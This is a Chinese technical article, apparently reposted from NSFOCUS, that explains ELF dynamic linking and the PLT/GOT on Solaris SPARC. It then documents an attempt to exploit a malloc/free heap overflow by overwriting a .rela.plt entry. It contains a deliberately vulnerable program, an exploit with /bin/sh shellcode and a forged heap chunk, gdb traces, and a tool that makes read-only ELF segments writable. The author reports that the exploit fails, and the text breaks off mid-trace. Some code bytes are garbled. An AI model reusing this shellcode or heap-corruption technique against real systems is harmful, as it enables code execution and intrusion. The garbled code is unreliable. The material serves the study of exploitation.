【http://www.smatrix.org/bbs/simple/index.php?t1323.html】
来源:NSFOCUS 作者:莫大 <[email protected]> 引子: 上次在绿盟科技网站(www.nsfocus.com)上看到warning3的一篇文章<<System V libc malloc/free 溢出技术分析>>, 是关于在System V(象Solaris)上如何Exploit malloc函数的漏洞。很精彩的一篇文章!请没有看过的朋友先去读一下,因为这里我要站在巨人的肩膀上作一些研究与探讨。 warning3的文章中举了一个Exploit malloc的例子,是通过修改函数返回地址的方法来产生一个shell,取得程序的控制权。文章中也提到通过修改GOT(Global Offset Table) 取得程序的控制权可能性,但却没有给出例子。刚好那几天我吃饱了撑得慌,所以专门研究了一下,并设计了一个利用Solaris中malloc函数的漏洞来Exploit GOT/PLT的例子。很遗憾的是,大家下面可以看到,Exploit没有成功。但我这里仍然把它整理出来,一来是因为这个Exploit涉及了许多新东西,整理一下我就不容易忘记,二来是因为我知道五湖四海之中有很多卧虎藏龙(Crouching Tiger and Hidden Dragon),所以泡制了这篇引玉之作,也许可以领教一下高手们的皮毛! 关于动态联结: 大家知道,要生成一个可执行程序(Executable),要分两步走:第一步是把源程序编译成(Compile)目标文件(Object File)。目标文件实际上包含着机器指令,但它们却不能执行,因为它们之间,以及它们与目标文件库(Library)之间有相互依靠的关系(Dependency),比如说目标文件A要用到目标文件B输出(Export)的函数,目标文件B要使用目标文件C的某个全局变量(Global Variable)等等,但输出函数、全局变量这些符号(Symbol)的地址在何处它们却不知道。所以第二步就是把各个目标文件以及目标文件库联结起来(Link),确定Symbols的地址(Symbol Resolution以及Relocation),这样A就知道到何处调用B的输出函数,B就知道C的变量的地址等等。联结的结果就生成了可执行程序(Executable)。 只是由于各种各样的原因,这第二步----联结可能在不同的阶段发生: 最简单的情况是在编译阶段(Compilation Time)。紧接着Compilation之后,我们把所有涉及的目标文件进行联结,把所有地址不清楚的Symbol都在这个时候搞定。最后生成的执行程序(Executable)载入内存后(由execve家族载入),一心一意地从头奔到尾。这种联结叫固态联结(statically link)。当然这样生成的程序Size较大,载入内存中也占不小的空间。 第二种情况是在载入阶段(LoadTime)。在这种情况下,执行程序(Executable)虽被载入内存,但它象青苹果一样尚未完全成熟,因为它仍然有地址不清楚的Symbol,这些Symbol定义在另外的目标文件库中。execve先把青苹果载入内存后,紧接着会由动态联结器(Dynamic Linker)把定义了这些Symbol的目标文件库载入,同时把它们的地址搞清楚(Relocation),这以后动态联结器才把控制权转到执行程序开始运行。由于这种情况下目标文件库独立于执行程序存在,执行程序SIZE就会比固态联结的情况要小,而且目标文件库在载入内存后可被其他进程所分享,所以称这些目标文件库为Shared Library。UNIX系统和LINUX系统就用到这种联结方式。 第三种情况是窗口操作系统(开个玩笑,是Windows操作系统)经常用到的----在执行阶段(RunTime)进行动态联结。程序在运行过程中遇到了没定义的Symbol(或者说地址不清楚的Symbol)时,就会先把定义这些Symbol的文件库载入(用LoadLibrary函数),如果这些Symbol是函数的名称,系统就紧接着用GetProcAddr函数把它们的地址搞清楚,最后回到原来的程序继续执行下去。Windows操作系统把这些文件库称为动态联结文件库(Dynamic Link Library),它们也可以被不同进程中分享。在后面讲到Windows操作系统的Exploit例子时,我们会大量涉及到动态联结以及动态联结文件库的细节。 关于ELF格式: 以上是关于各种联结的背景介绍,下面我用程序vul.c来介绍一下Solaris和LINUX系统的标准格式:ELF格式(Executable and Link Format),侧重于介绍这一章Exploit会涉及的部分。这个源程序vul.c也是这一章我们Exploit的对象。 <============================vul.c=============================> #include <stdio.h> #define IOSIZE 1024 int main(int argc, char **argv ) { FILE * binFileH; char binFile[] = "binfile"; char *m1, *m2, *m3; if ( (binFileH = fopen(binFile, "rb")) == NULL) { printf("can't open file -cn"); exit(); '7d m1 = (void *) malloc(IOSIZE); m2 = (void *) malloc(IOSIZE); memset(m1, '\0', IOSIZE); memset(m2, '\0', IOSIZE); fread(m1, sizeof(char), IOSIZE+48, binFileH); printf("Finish Reading in m1\n"); printf("Do something with m2 before free it\n"); free(m2); m3 = (void*) malloc(IOSIZE/2); printf("Free m1 and m3\n"); free(m1); free(m2); } <==============================================================> 注意这个程序调用了不少函数,象printf,free,malloc等等,但程序本身并没有定义这些函数,所以动态联结器(Dynamic Linker)要负责确定这些函数Symbol的地址。动态联结器也负责确定变量Symbol的地址,但这不是我们要研究的重点,下面提到的Symbol专指函数Symbol。 先用GNU的工具把程序编译: hongkong:/home/moda gcc -o vul vul.c -g 执行文件vul具有ELF格式,这种格式的文件由多个Section组成,我们可以用GNU工具objdump看看各个Section的内容: hongkong:/home/moda objdump -S vul vul: file format elf32-sparc Contents of section .interp: 100d4 2f757372 2f6c6962 2f6c642e 736f2e31 /usr/lib/ld.so.1 100e4 00 . Contents of section .hash: 100e8 0000001d 00000019 00000001 00000003 ................ 100f8 00000000 00000005 00000000 00000006 ................ 10108 00000009 00000000 0000000b 0000000c ................ ................略................ Contents of section .dynsym: 101c8 00000000 00000000 00000000 00000000 ................ 101d8 00000001 000209fc 00000000 12000000 ................ 101e8 00000007 000209d8 00000000 12000000 ................ 101f8 0000000e 00020960 00000000 1100000e .......`........ ................略................ Contents of section .dynstr: 10358 00667265 61640070 72696e74 66005f50 .fread.printf._P 10368 524f4345 44555245 5f4c494e 4b414745 ROCEDURE_LINKAGE 10378 5f544142 4c455f00 656e7669 726f6e00 _TABLE_.environ. 10388 5f44594e 414d4943 005f6564 61746100 _DYNAMIC._edata. 10398 66726565 006d616c 6c6f6300 5f657465 free.malloc._ete 103a8 7874005f 696e6974 005f5f64 65726567 xt._init.__dereg 103b8 69737465 725f6672 616d655f 696e666f ister_frame_info 103c8 006d6169 6e005f65 6e766972 6f6e005f .main._environ._ 103d8 474c4f42 414c5f4f 46465345 545f5441 GLOBAL_OFFSET_TA 103e8 424c455f 005f5f72 65676973 7465725f BLE_.__register_ 103f8 6672616d 655f696e 666f005f 6c69625f frame_info._lib_ 10408 76657273 696f6e00 5f657869 74006174 version._exit.at 10418 65786974 00657869 74005f65 6e64005f exit.exit._end._ 10428 73746172 74006d65 6d736574 005f6669 start.memset._fi 10438 6e690066 6f70656e 006c6962 632e736f ni.fopen.libc.so 10448 2e310053 59535641 42495f31 2e33006c .1.SYSVABI_1.3.l 10458 6962632e 736f2e31 00 ibc.so.1. Contents of section .SUNW_version: 10464 00010001 000000e9 00000010 00000000 ................ 10474 0537ccb3 00000000 000000f3 00000000 .7.............. Contents of section .rela.got: 10484 0002095c 00000f14 00000000 00020958 ...\...........X 10494 00000b14 00000000 ........ Contents of section .rela.bss: 1049c 00020b04 00000d13 00000000 ............ Contents of section .rela.plt: 104a8 00020990 00001215 00000000 0002099c ................ 104b8 00001315 00000000 000209a8 00001115 ................ 104c8 00000000 000209b4 00000b15 00000000 ................ 104d8 000209c0 00000f15 00000000 000209cc ................ 104e8 00001815 00000000 000209d8 00000215 ................ 104f8 00000000 000209e4 00000815 00000000 ................ 10508 000209f0 00001615 00000000 000209fc ................ 10518 00000115 00000000 00020a08 00000715 ................ 10528 00000000 .... Contents of section .text: 1052c bc102000 e003a040 a203a044 9c23a020 .. [email protected].#. 1053c 80900001 02800004 90100001 40004112 [email protected]. 1054c 01000000 11000042 901220a8 4000410e .......B.. [email protected]. 1055c 01000000 400000cb 01000000 90100010 ....@........... ................略................ Contents of section .init: 1088c 9de3bfa0 7fffff77 01000000 7fffffe6 .......w........ 1089c 01000000 81c7e008 81e80000 ............ Contents of section .fini: 108a8 9de3bfa0 7fffff3f 01000000 81c7e008 .......?........ 108b8 81e80000 .... Contents of section .rodata: 108c0 00000001 00000000 62696e66 696c6500 ........binfile. 108d0 72620000 00000000 63616e27 74206f70 rb......can't op 108e0 656e2066 696c6520 0a000000 00000000 en file ........ 108f0 46696e69 73682052 65616469 6e672069 Finish Reading i 10900 6e206d31 0a000000 446f2073 6f6d6574 n m1....Do somet 10910 68696e67 20776974 68206d32 20626566 hing with m2 bef 10920 6f726520 66726565 2069740a 00000000 ore free it..... 10930 46726565 206d3120 616e6420 6d330a00 Free m1 and m3.. Contents of section .got: 20940 00020a18 00020aec 00020ad0 00020ae8 ................ 20950 00020ad4 00020adc 00000000 00000000 ................ Contents of section .plt: 20960 00000000 00000000 00000000 00000000 ................ 20970 00000000 00000000 00000000 00000000 ................ 20980 00000000 00000000 00000000 00000000 ................ 20990 03000030 30bffff3 01000000 0300003c ...00..........< 209a0 30bffff0 01000000 03000048 30bfffed 0..........H0... 209b0 01000000 03000054 30bfffea 01000000 .......T0....... 209c0 03000060 30bfffe7 01000000 0300006c ...`0..........l 209d0 30bfffe4 01000000 03000078 30bfffe1 0..........x0... 209e0 01000000 03000084 30bfffde 01000000 ........0....... 209f0 03000090 30bfffdb 01000000 0300009c ....0........... 20a00 30bfffd8 01000000 030000a8 30bfffd5 0...........0... 20a10 01000000 01000000 ........ Contents of section .dynamic: 20a18 00000001 000000ff 0000000c 0001088c ................ 20a28 0000000d 000108a8 00000004 000100e8 ................ 20a38 00000005 00010358 0000000a 00000109 .......X........ 20a48 00000006 000101c8 0000000b 00000010 ................ 20a58 6ffffdf8 0000e356 6ffffffe 00010464 o......Vo......d 20a68 6fffffff 00000001 00000002 00000084 o............... 20a78 00000014 00000007 00000017 000104a8 ................ 20a88 00000007 00010484 00000008 000000a8 ................ 20a98 00000009 0000000c 00000015 00000000 ................ 20aa8 6ffffdfc 00000001 0000001e 00000000 o............... 20ab8 6ffffffb 00000000 00000003 00020960 o..............` 20ac8 00000000 00000000 ........ Contents of section .data: 20ad0 00020ae4 00000000 ........ Contents of section .ctors: 20ad8 ffffffff 00000000 ........ Contents of section .dtors: 20ae0 ffffffff 00000000 ........ Contents of section .eh_frame: 20ae8 00000000 .... ................略................ hongkong:/home/moda hongkong:/home/moda hongkong:/home/moda 上面我把我觉得比较重要的Section用黑体显示,这些Section的第一列给出了它们在内存中的虚拟地址。 其中的.interp Section 给出了动态联结器(Dynamic Linker)的完整路径名。当execve载入程序后,它会把控制权转到.interp Section所指向的动态联结器。 .text Section 为程序vul.c的机器码。.data Section 保存程序vul.c的初始化全局变量。 .rela.got,.rela.plt,.rela.bss 分别与.got,.plt,.bss 相对应,前者的Entry指出了在后者中有哪些位置的内容是属于地址未定的Symbol的。程序vul使用这些Symbol之前,这些位置的内容需要进一步Relocation,也就是需要修改以反映确定后的地址。以.rela.plt的第七个Entry为例:这个Entry的内容是"000209d8 00000215 00000000",000209d8是虚拟地址,位于.plt 中 (你们可以对照上面.plt Section 第一列的地址核实一下);00000215告诉我们这个Symbol的名字是在.dynstr (Dynamic String) Section中的第0x2个,也就是printf函数;15是Relocation Type:R_SPARC_JMP_SLOT,这是众多确定地址的方法中的一种,这种Relocation Type需要修改PLT的Entry。 所以.rela.plt的第七个Entry告诉我们,在位置000209d8中的内容是与printf函数有关的,程序在调用printf函数前,必须修改位置000209d8中的内容以反应函数printf正确的地址;在这以后,程序就可以直接从这个000209d8得到printf的地址。 那么这个确定地址的过程(Symbol Relocation)在何时发生呢?位置000209d8中的内容在何时修改呢?前面提到了三个进行联结的阶段:编译阶段,载入阶段,执行阶段。我们这个vul程序联结的时机介於载入阶段和执行阶段之间,取决于环境变量LD_BIND_NOW的设置: 1。 如果这个环境变量LD_BIND_NOW存在并且不为空值(NULL Value),那么在载入阶段时,动态联结器就必须先确定所有地址未定的函数Symbol的地址,然后才将控制权传到执行程序让它开始运行。 2。 如果LD_BIND_NOW变量不存在或者为空值,那么确定函数地址的过程就推迟到执行阶段。在程序运行的过程中,当该函数被第一次调用时,由动态联结器确定其地址并且把确定后的内容写入.plt(Solaris的情况)或.got(Linux的情况)。以后对该函数的调用就可以直接从.plt(Solaris的情况)或.got(Linux的情况)得到确定后的地址。这种技术叫做Lazy Binding,有利于程序的迅速启动。 我们来看看在Solaris系统中确定printf地址的过程,当然是在Lazy Binding的情况下。由于执行文件vul是在Solaris系统上编译及运行,其.plt中对应着printf的Entry将被修改。在修改之前,也就是Relocation前, (gdb) x/4x 0x000209d8 //以HEX显示0x000209d8的内容 0x209d8 <printf>: 0x03000078 0x30bfffe1 0x01000000 0x03000084 (gdb) x/4i 0x000209d8 //反汇编同一内容 0x209d8 <printf>: sethi %hi(0x1e000), %g1 0x209dc <printf+4>: b,a 0x20960 <_PROCEDURE_LINKAGE_TABLE_> 0x209e0 <printf+8>: nop 0x209e4 <malloc>: sethi %hi(0x21000), %g1 从反汇编的机器指令可以看到,对printf的调用会跳到PROCEDURE_LINKAGE_TABLE,从那里进入动态联结器去确定printf的地址。 在printf的.plt Entry被修改以后,也就是Relocation后, (gdb) x/4x 0x000209d8 0x209d8 <printf>: 0x03000078 0x033fcc0d 0x81c06248 0x03000084 (gdb) x/4i 0x000209d8 0x209d8 <printf>: sethi %hi(0x1e000), %g1 0x209dc <printf+4>: sethi %hi(0xff303400), %g1 0x209e0 <printf+8>: jmp %g1 + 0x248 ! 0xff303648 0x209e4 <malloc>: sethi %hi(0x21000), %g1 大家可以看到,在位置000209d8处的内容确实发生了改变。如果程序再调用printf,它将会跳到printf的正确地址0xff303648。 .rela.got,.rela.plt,.rela.bss 总共给出了14个需要确定地址的Symbol,我们可以用objdump的命令行选项-R把它们列出来: hongkong:/home/moda objdump -R vul vul: file format elf32-sparc DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 000000000002095c R_SPARC_GLOB_DAT __register_frame_info 0000000000020958 R_SPARC_GLOB_DAT __deregister_frame_info 0000000000020b04 R_SPARC_COPY _environ 0000000000020990 R_SPARC_JMP_SLOT atexit 000000000002099c R_SPARC_JMP_SLOT exit 00000000000209a8 R_SPARC_JMP_SLOT _exit 00000000000209b4 R_SPARC_JMP_SLOT __deregister_frame_info 00000000000209c0 R_SPARC_JMP_SLOT __register_frame_info 00000000000209cc R_SPARC_JMP_SLOT fopen 00000000000209d8 R_SPARC_JMP_SLOT printf 00000000000209e4 R_SPARC_JMP_SLOT malloc 00000000000209f0 R_SPARC_JMP_SLOT memset 00000000000209fc R_SPARC_JMP_SLOT fread 0000000000020a08 R_SPARC_JMP_SLOT free Exploit 的过程: 上面提到对于Solaris系统,在Symbol Relocation(确定地址)后,.plt的内容反映正确的函数地址,对于Linux系统中,.got的内容反映正确的函数地址。这里我们研究的是如何Exploit在Solaris中的malloc漏洞,所以我只能打.plt的主意。 想当初,我刚开始编写针对这一章vul的Exploit程序,原来打算用黑客码起始地址去覆盖.plt中printf函数的Entry,希望当程序调用printf函数时,它会跳入黑客码去执行。但仔细研究.plt的结构以后,我放弃了这个计划。为什么呢?下面我把在Symbol Relocation前后printf在.plt中的Entry内容列出来,大家对照一下就知道了: Symbol Relocation 前: 0x209d8 <printf>: 0x03000078 0x30bfffe1 0x01000000 反汇编同一内容 0x209d8 <printf>: sethi %hi(0x1e000), %g1 0x209dc <printf+4>: b,a 0x20960 <_PROCEDURE_LINKAGE_TABLE_> 0x209e0 <printf+8>: nop Symbol Relocation 后: 0x209d8 <printf>: 0x03000078 0x033fcc0d 0x81c06248 反汇编同一内容 0x209d8 <printf>: sethi %hi(0x1e000), %g1 0x209dc <printf+4>: sethi %hi(0xff303400), %g1 0x209e0 <printf+8>: jmp %g1 + 0x248 ! 0xff303648 大家可以看到共有8 Bytes的内容发生改变,用warning3的文章里介绍的方法却只能改4 Bytes,这是难点之一。难点之二,包括printf在内的各个函数在.plt中的Entry只是3 个机器指令而已,并不包含任何32bits地址,如果用黑客码地址去覆盖函数的Entry,只会破坏机器指令,运行结果是没办法控制的。 后来我注意到.rela.plt,发现它也有对应于printf的Entry,而且这个Entry的前32位就是地址。於是我就尝试着用下面的Exploit程序去覆盖这个地址。 <=================================expl.c=============================> #include <stdio.h> #include <stdlib.h> #include <sys/systeminfo.h> #define VULPROG "./vul" #define VICTIMFUNC 0x104f0 #define SHELL 0x20b10 + 2*4 #define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */ #define CRAP "\xbf\xeb\x1f\x0c" #define IOSIZE 1024 char shellcode[] = /* from scz's funny shellcode for SPARC */ "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */ "\x20\xbf\xff\xff" /* bn,a <shellcode> */ "\x7f\xff\xff\xff" /* call <shellcode+4> */ "\xaa\x1d\x40\x15" "\x81\xc3\xe0\x14" /* jmp %o7+20 ????????? */ "\xaa\x1d\x40\x15" "\xaa\x1d\x40\x15" /* (shelladdr - 8 + 32 ) will be overwrote by * (victimf -8) */ /* ???shellcode */ "\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29" "\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80 '5cx0e" "\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfcPcxc0\x2a\x20\x07" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff"; int main(int argc , char ** argv) { FILE * binFileH ; char binFile[10]="binfile" ; char buf[2*IOSIZE]; char fake_chunk[48]; char *p ; unsigned int *pp; char *argv[] = {VULPROG, NULL, NULL }; long relatAddr; p=buf; *((void **)p) = (void*) (CRAP); p+=4; *((void **)p) = (void*) (CRAP); p+=4; memcpy(p, shellcode, strlen(shellcode)); p+=strlen(shellcode); memset(p, 'A', IOSIZE - 2*4 - strlen(shellcode)); memset(fake_chunk, '\xff', sizeof(fake_chunk)); pp = (unsigned int *) fake_chunk; *(pp + 0) = 0xfffffff9; /* t_s = -8 */ *(pp + 2) = VICTIMFUNC - 32; /* t_p */ // relatAddr = (SHELL - VICTIMFUNC )/4; // *(pp + 8) = 0x40000000 | (relatAddr); *(pp + 8) = SHELL ; /* t_n */ memcpy(buf + IOSIZE, fake_chunk, sizeof(fake_chunk)); binFileH = fopen ( binFile, "wb" ) ; if ( binFileH != NULL ) { fwrite(buf, sizeof(char), 2*IOSIZE, binFileH); fclose(binFileH); } printf("Before Entering the Execve\n"); execve(argv[0], argv, NULL); perror("execle"); } <====================================================================> 以下是Debug的过程,如果大家象读毛选那样读透了warning3的文章,那么应该可以根据我的注释看下去。 hongkong:/home/moda gdb vul GNU gdb 5.1 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.7"... (gdb) b main Breakpoint 1 at 0x106cc: file vul.c, line 6. (gdb) r Starting program: /home/moda/malloc_of/v2/vul Breakpoint 1, main (argc=1, argv=0xffbeefdc) at vul.c:6 6 FILE * binFileH; (gdb) s 7 char binFile[] = "binfile"; (gdb) s 10 if ( (binFileH = fopen(binFile, "rb")) == NULL) (gdb) s 16 m1 = (void *) malloc(IOSIZE); (gdb) s 17 m2 = (void *) malloc(IOSIZE); (gdb) s 18 memset(m1, '\0', IOSIZE); (gdb) s 19 memset(m2, '\0', IOSIZE); (gdb) s 21 fread(m1, sizeof(char), IOSIZE+48, binFileH); /* 在fread之前,m1及m2缓冲区冲满了"\x00",执行fread将造成缓冲区m1的溢出。 */ (gdb) x/20x m1 0x20b10: 0x00000000 0x00000000 0x00000000 0x00000000 0x20b20: 0x00000000 0x00000000 0x00000000 0x00000000 0x20b30: 0x00000000 0x00000000 0x00000000 0x00000000 0x20b40: 0x00000000 0x00000000 0x00000000 0x00000000 0x20b50: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/20x m2 0x20f18: 0x00000000 0x00000000 0x00000000 0x00000000 0x20f28: 0x00000000 0x00000000 0x00000000 0x00000000 0x20f38: 0x00000000 0x00000000 0x00000000 0x00000000 0x20f48: 0x00000000 0x00000000 0x00000000 0x00000000 0x20f58: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) s 22 printf("Finish Reading in m1\n"); (gdb) x/20x m1 0x20b10: 0x00010a40 0x00010a40 0x20bfffff 0x20bfffff 0x20b20: 0x7fffffff 0xaa1d4015 0x81c3e014 0xaa1d4015 0x20b30: 0xaa1d4015 0x20804973 0x20806261 0x20807365 0x20b40: 0x20803a29 0x7fffffff 0x941a800a 0x9003e034 0x20b50: 0x920b800e 0x9c03a008 0xd023bff8 0xc023bffc /* 在fread之后,m2的malloc函数管理数据被覆盖 */ (gdb) x/20x m2-0x10 0x20f08: 0x41414141 0x41414141 0xfffffff9 0xffffffff 0x20f18: 0x000104d0 0xffffffff 0xffffffff 0xffffffff 0x20f28: 0xffffffff 0xffffffff 0x00020b18 0xffffffff 0x20f38: 0xffffffff 0xffffffff 0x00000000 0x00000000 0x20f48: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) si 0x000107c0 22 printf("Finish Reading in m1\n"); (gdb) si 0x000107c4 22 printf("Finish Reading in m1\n"); (gdb) si 0x000107c8 22 printf("Finish Reading in m1\n"); (gdb) si 0x000209d8 in printf () /* 这时进入plt Section,因为是第一次调用函数printf,所以需要动态联结器确定printf的地址。下面是修改前的plt Entry: */ (gdb) x/4x 0x000209d8 0x209d8 <printf>: 0x03000078 0x30bfffe1 0x01000000 0x03000084 (gdb) x/4i 0x000209d8 0x209d8 <printf>: sethi %hi(0x1e000), %g1 0x209dc <printf+4>: b,a 0x20960 <_PROCEDURE_LINKAGE_TABLE_> 0x209e0 <printf+8>: nop 0x209e4 <malloc>: sethi %hi(0x21000), %g1 (gdb) s Single stepping until exit from function printf, which has no line number information. Finish Reading in m1 main (argc=1, argv=0xffbeefdc) at vul.c:24 24 printf("Do something with m2 before free it\n"); (gdb) si 0x000107d0 24 printf("Do something with m2 before free it\n"); (gdb) si 0x000107d4 24 printf("Do something with m2 before free it\n"); (gdb) si 0x000107d8 24 printf("Do something with m2 before free it\n"); (gdb) si 0x000209d8 in printf () /* 再次进入plt Section,这时函数printf的地址已经确定为0xff303648,而它的plt Entry被修改如下: */ (gdb) x/4i 0x000209d8 0x209d8 <printf>: sethi %hi(0x1e000), %g1 0x209dc <printf+4>: sethi %hi(0xff303400), %g1 0x209e0 <printf+8>: jmp %g1 + 0x248 ! 0xff303648 0x209e4 <malloc>: sethi %hi(0x21000), %g1 (gdb) x/4x 0x000209d8 0x209d8 <printf>: 0x03000078 0x033fcc0d 0x81c06248 0x03000084 (gdb) s Single stepping until exit from function printf, which has no line number information. Do something with m2 before free it main (argc=1, argv=0xffbeefdc) at vul.c:25 25 free(m2); (gdb) s 27 m3 = (void*) malloc(IOSIZE/2); /* 这个函数malloc(IOSIZE/2)是整个Exploit的导火线,原理请参考warning3的文章 */ (gdb) s Program received signal SIGSEGV, Segmentation fault. 0xff2c62a0 in ?? () /* 程序调用malloc时在地址0xff2c62a0发生段错误 */ (gdb) x/5i 0xff2c62a0 0xff2c62a0: st %o1, [ %o0 + 0x20 ] 0xff2c62a4: ret 0xff2c62a8: restore 0xff2c62ac: cmp %o0, 0 0xff2c62b0: be,a 0xff2c62c4 (gdb) i reg o1 o1 0x20b18 133912 (gdb) i reg o0 o0 0x104d0 66768 /* 寄存器o1中有我们黑客码的地址0x20b18,那么%o0+0x20=0x104f0,正好是.rela.plt 中函数printf的Entry。当程序企图用0x20b18覆盖0x104f0时,发生段错误,就是Segmentation Violation。不过大家看下面从0x20b18开始的黑客码中,地址0x20b20已经被修改成0x000104d0 */ (gdb) x/20x 0x20b18 0x20b18: 0x20bfffff 0x20bfffff 0x000104d0 0xaa1d4015 0x20b28: 0x81c3e014 0xaa1d4015 0xaa1d4015 0x20804973 0x20b38: 0x20806261 0x20807365 0x20803a29 0x7fffffff 0x20b48: 0x941a800a 0x9003e034 0x920b800e 0x9c03a008 0x20b58: 0xd023bff8 0xc023bffc 0xc02a2007 0x8210203b (gdb) q The program is running. Exit anyway? (y or n) y hongkong:/home/minchumo 上面之所以发生段错误,是因为当vul载入内存执行时,.rela.plt 被标志为只读内存(READONLY),任何修改它的企图都会导致Access Violation。 我们知道,ELF格式文件由多个Section组成,在载入内存后,它的内存影像(Image)则由多个段(Segment)组成,而且不同Segment被标志为不同的可访问权限。Section 与 Segment 之间有对应关系,我们可以用GNU工具readelf来显示程序vul在内存中的几个Segment、它们与Section的对应关系以及它们的权限标志: hongkong:/home/moda readelf -l vul Elf file type is EXEC (Executable file) Entry point 0x1052c There are 5 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x00010034 0x00000000 0x000a0 0x000a0 R E 0 INTERP 0x0000d4 0x00000000 0x00000000 0x00011 0x00000 R 0 [Requesting program interpreter: /usr/lib/ld.so.1] LOAD 0x000000 0x00010000 0x00000000 0x008e0 0x008e0 R E 0x10000 LOAD 0x0008e0 0x000208e0 0x00000000 0x001ac 0x001c8 RWE 0x10000 DYNAMIC 0x0009b8 0x000209b8 0x00000000 0x000b8 0x00000 RWE 0 Section to Segment mapping: // Section 与 Segment 的对应关系 Segment Sections... 00 01 02 .interp .hash .dynsym .dynstr .SUNW_version .rela.got .rela.bss .rela.plt .text .init .fini .rodata 03 .got .plt .dynamic .data .ctors .dtors .eh_frame .bss 04 hongkong:/home/moda hongkong:/home/minchumo 程序vul共有5个Segment (00-04),它们的可访问权限由Flg指示。.rela.plt被分配到Segment 02。这个Segment的可访问权限是RE----可读,可执行但不能写,所以前面的Expl程序在企图写这个Segment时栽了个跟斗。 到这时,我已经知道按这个思路是没办法Exploit GOT/PLT的,不过如果能改变vul的Segment 02的可访问权限,结果会怎样呢?我们来看下面这个程序modify.c,它能够根据你的需要改变程序任何Segment的可访问权限。我们用它把程序vul的Segment 02加上可写权限。 <===============================modify.c============================> #include <stdio.h> #include <elf.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <sys/stat.h> #include <fcntl.h> #include <errno.h> #include <stdlib.h> int main(int argc, char *argv[]) { Elf32_Ehdr *p_ElfHdr; Elf32_Phdr *p_ElfSegHdr; struct stat fileStat; off_t fileMapSize; char sElfMagic[] = "\x7f" "ELF"; char *p_FileStartAddr; char *binFile; unsigned long segPerm = 0; int segNo, fd, i; if (argc != 4) { printf("Usage: %s file_name segment_no segment_permissions(rwx) \n", argv[0]); exit(-1); } binFile = argv[1]; segNo = atoi(argv[2]); i = 0; while (argv[3][i]) { switch(argv[3][i]) { case 'x': segPerm = segPerm|PF_X; break; case 'r': segPerm = segPerm|PF_R; break; case 'w': segPerm = segPerm|PF_W; break; default: break; } i++; } /*open the executable file*/ if ( (fd = open(binFile, O_RDWR)) == -1 ) { printf("Could not open %s, error is %s\n", binFile, strerror(errno)); exit(-1); } /*get the executable file status*/ if (fstat(fd, &fileStat)) { printf("Could not stat %s, error is %s\n", binFile, strerror(errno)); exit(-1); } fileMapSize = fileStat.st_size; /*map the file into memory and get the starting address*/ if (!(p_FileStartAddr = mmap(0, fileMapSize, PROT_READ | PROT_WRITE,\ MAP_SHARED, fd, 0))) { printf( "Could not mmap %s, error is %s\n", binFile, strerror(errno)); exit(-1); } p_ElfHdr = (Elf32_Ehdr *) p_FileStartAddr; if (segNo >= p_ElfHdr->e_phnum) { printf("Segment %d does not exist! \n", segNo); exit(-1); } /*get the target segment header*/ p_ElfSegHdr = (Elf32_Phdr *) ((char *) p_ElfHdr + p_ElfHdr->e_phoff + \ (p_ElfHdr->e_phentsize * segNo)); /*reset the segment permision*/ p_ElfSegHdr->p_flags = segPerm; /*unmap the file*/ munmap(p_FileStartAddr, fileMapSize); close(fd); return(0); '7d <===================================================================> 设置Segment 02可访问权限为rwx: hongkong:/home/moda hongkong:/home/moda modify vul 2 rwx File vul mapped at ff380000 for 9352 bytes hongkong:/home/minchumo 修改后的结果: hongkong:/home/moda readelf -l vul Elf file type is EXEC (Executable file) Entry point 0x1052c There are 5 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x00010034 0x00000000 0x000a0 0x000a0 R E 0 INTERP 0x0000d4 0x00000000 0x00000000 0x00011 0x00000 R 0 [Requesting program interpreter: /usr/lib/ld.so.1] /*注意下面的 Flg 已经设置为RWE*/ LOAD 0x000000 0x00010000 0x00000000 0x008e0 0x008e0 RWE 0x10000 LOAD 0x0008e0 0x000208e0 0x00000000 0x001ac 0x001c8 RWE 0x10000 DYNAMIC 0x0009b8 0x000209b8 0x00000000 0x000b8 0x00000 RWE 0 Section to Segment mapping: Segment Sections... 00 01 02 .interp .hash .dynsym .dynstr .SUNW_version .rela.got .rela.bss .rela.plt .text .init .fini .rodata 03 .got .plt .dynamic .data .ctors .dtors .eh_frame .bss 04 hongkong:/home/moda hongkong:/home/minchumo 那么我们Exploit这个"新"的程序vul会有怎么样的结果呢? hongkong:/home/moda gdb vul GNU gdb 5.1 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.7"... (gdb) b main Breakpoint 1 at 0x106cc: file vul.c, line 6. (gdb) r Starting program: /home/moda/malloc_of/v3/vul Breakpoint 1, main (argc=1, argv=0xffbeefdc) at vul.c:6 6 FILE * binFileH; (gdb) s 7 char binFile[] = "binfile"; (gdb) s 10 if ( (binFileH = fopen(binFile, "rb")) == NULL) (gdb) s 16 m1 = (void *) malloc(IOSIZE); (gdb) s 17 m2 = (void *) malloc(IOSIZE); (gdb) s 18 memset(m1, '\0', IOSIZE); (gdb) s 19 memset(m2, '\0', IOSIZE); (gdb) s 21 fread(m1, sizeof(char), IOSIZE+48, binFileH); (gdb) s 25 free(m2); (gdb) x/20x m1 0x20ab0: 0x00010a40 0x00010a40 0x20bfffff 0x20bfffff 0x20ac0: 0x7fffffff 0xaa1d4015 0x81c3e014 